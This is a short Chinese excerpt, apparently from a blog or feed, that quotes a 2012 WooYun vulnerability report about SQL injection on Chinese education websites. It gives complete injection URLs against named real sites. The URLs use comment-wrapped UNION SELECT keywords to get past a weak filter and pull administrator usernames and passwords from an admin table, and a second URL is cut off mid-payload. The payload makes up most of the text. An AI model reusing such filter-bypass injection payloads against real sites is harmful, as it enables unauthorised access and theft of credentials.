标签： sql-inject

漏洞编号：WooYun-2012-04939 详细说明： 因其中简单过滤括号和空格，导致可以绕过过滤进行注入。比如随便在教育厅主页打开几个网站测试。 主站：http://gov.e21.cn/school_show.php?college_id=96+/*!and*/+1=2+/*!uNioN*/+/*!seLecT*/+1,user_name,3,4,user_pwd,6,7,8,9,10,11,12,13,14+/*!from*/+admin 高中课改网：http://gzkg.e21.cn/content.php?id=1253+/*!aND*/1=2+/*!uNion*/+/*!sel… 继续阅读 没想到wooyun.org上榜被抓sql inject